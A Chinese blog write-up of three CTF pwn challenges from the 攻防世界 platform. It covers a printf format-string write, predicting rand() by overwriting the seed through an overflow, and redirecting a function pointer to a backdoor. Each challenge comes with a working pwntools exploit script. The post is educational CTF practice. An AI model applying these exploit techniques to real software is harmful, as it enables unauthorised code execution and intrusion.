目录
  1. 1. CGfsb
  2. 2. guess_num 和 进阶 dice_game
  3. 3. 进阶 forgot
    1. 3.0.1. 代码的最后有(*(&v3+ –v14))();
drops做题收获

攻防世界

CGfsb

格式化字符串漏洞
因为当时做这个题时候不太懂,所以拿出来说说

分析伪代码,发现修改pwnme的值为8 得到flag

在.bss段的全局变量,因为没有开启PIE,那就好办了,pwnme这个全局变量的地址是不会变的。
改值方法,格式化输出漏洞

利用printf格式化字符串漏洞addr+%N$n修改任意地址的值,
其中%N$n是以printf第N+1个参数位置的值为地址(printf中格式化字符串是第0个参数),将输出过的字符数量的值写入这个地址中

用法说明

%n:将%n之前printf已经打印的字符个数赋值给**偏移处指针**所指向的地址
位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址

疑问:%n的使用方法,偏移量是谁与谁之间的,偏移量为什么不会变



利用%x泄露内容

可以看到输入的aaaa也就是0x61616161是位于输出的第11位

然后根据addr+%N$n 可以在偏移处储存的地址写入内容



经过gdb调试查看栈,可以观察到输入的aaaa距离栈顶也正好10个参数

所以说偏移处指针会不会是指

猜测。。。。
原本printf读取参数的指针指向了栈顶,然后用%n改变指针的指向。。

最后,此题的最大难点在于获取 %n 所需要的偏移量

解题思路就是利用格式化输出漏洞将pwnme的值改为8
脚本

 from pwn import *
p=remote('111.198.29.45',"39076");

pwnme=0x804a068
p.recvuntil('name:')
p.sendline('qqqq')
p.recvuntil('please:')
payload = p32(pwnme)
payload += 'aaaa'
payload += '%10$n'
p.sendline(payload)
p.interactive()

guess_num 和 进阶 dice_game

猜随机数的两题,种子是seed[0],循环n次,均对即可跳到sub_C3E函数执行system(“cat flag”)

开启了canary,不能直接栈溢出到sub_C3E函数,

但是区别在于

guess_num  输入为gets函数 可以溢出到函数返回地址,
而 dice_game  用的read(0, buf, 0x50uLL);只能栈溢出到seed[0]
所以guess_num应该可以直接调用sub_C3E函数但需要canary绕过,不知道行不行,大家可以试试。

guess_num 没给libc库, dice_game给了libc.so.6
所以写脚本时
guess_num用的是
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
而dice_game用的是
libc = cdll.LoadLibrary("libc.so.6")

做题的主要思想还是利用函数漏洞给随机数种子赋值。提前获取到随机数,
经过n次对比成功执行 cat flag 的函数

srand初始化随机种子,rand产生随机数。
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,
实际上是一段数字的循环,这些数字取决于随机种子。
在调用rand()函数时,必须先利用srand()设好随机数种子,
如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

需要我们了解的新知识就是ctypes模块里的 cdll.LoadLibrary 函数

下面是从

https://www.cnblogs.com/gaowengang/p/7919219.html
得到的一些知识

Python 的 ctypes 要使用 C 函数,需要先将 C 编译成动态链接库的形式,
即 Windows 下的 .dll 文件,或者 Linux 下的 .so 文件。先来看一下 ctypes 怎么使用 C 标准库。

Windows 系统下的 C 标准库动态链接文件为 msvcrt.dll (一般在目录 C:\Windows\System32 和 C:\Windows\SysWOW64 下分别对应 32-bit 和 64-bit,使用时不用刻意区分,Python 会选择合适的)

Linux 系统下的 C 标准库动态链接文件为 libc.so.6 (以 64-bit Ubuntu 系统为例, 在目录 /lib/x86_64-linux-gnu 下)

所以guess_num的脚本会用/lib/x86_64-linux-gnu/libc.so.6也是有一定根据的。

因此我试着将dice_game脚本的libc也改为/lib/x86_64-linux-gnu/libc.so.6一样可以获得flag.

脚本

from pwn import *
from ctypes import *
#coding:utf-8
p = remote("111.198.29.45","35346")
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a"*0x20 +p64(1)
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)

p.interactive()

进阶 forgot

这一题是看了脚本却不太懂事什么意思的一道题

开始看完代码发现这题中并没有直接给你某个函数得到flag,
于是查找字符,发现了后门函数!

记下函数的地址。

最后看了半天,下面把我的理解说一下。其实理解之后也是挺好玩的。。

搜到的题解

#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',56015)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()

只看脚本时候好像是特别简单,不就是覆盖函数返回地址吗?

但是在 ida 打开后会产生疑问了,为什么是“A”*32
有两次输入

第一次输入使用fgets(&s,32,stdin)
从缓冲区输入32位给字符串 s 并不能溢出到函数返回地址

第二次输入为scanf(“%s”,v2)
这一次可以溢出到函数返回地址了

不过v2距离栈底 0x74 所以构造函数不应该是0x78*”a”+p32(adress)吗
但我试过之后发现并不能得到flag

为什么呢?
我也不太清楚。

下面是为什么用32*”A”的原因

重点

代码的最后有(*(&v3+ –v14))();

v3是int型指针  v14是int数据
所以这句代码就是 执行 v3加上 v14-1后  所指向的  函数
因此我们可以用这一句来进行溢出,执行我们找到的 后门函数
分析代码当v2的值等于‘A’ 时 v14等于 1 所以最后执行v3指向的函数
可以发现v3距离v2 0x20 也就是32,然后将v3覆盖为后门函数

后面为了验证正确性,我将v2改为字符’9’ 得到v14为 2

因此我用下面的脚本验证发现也可行

#coding:utf-8
from pwn import *

p=remote('111.198.29.45',39341)
print p.recvuntil("> ")
p.sendline('A')
payload='9'*36+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()

这题中收获还是不小的,起码读懂了代码的执行步骤。
希望大家在做题的过程中也能多多发现疑问,
使自己做题时知其所以

文章作者: zzl
文章链接: https://www.zzl14.xyz/2019/08/08/p/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 try
打赏
  • 微信
  • 支付宝

评论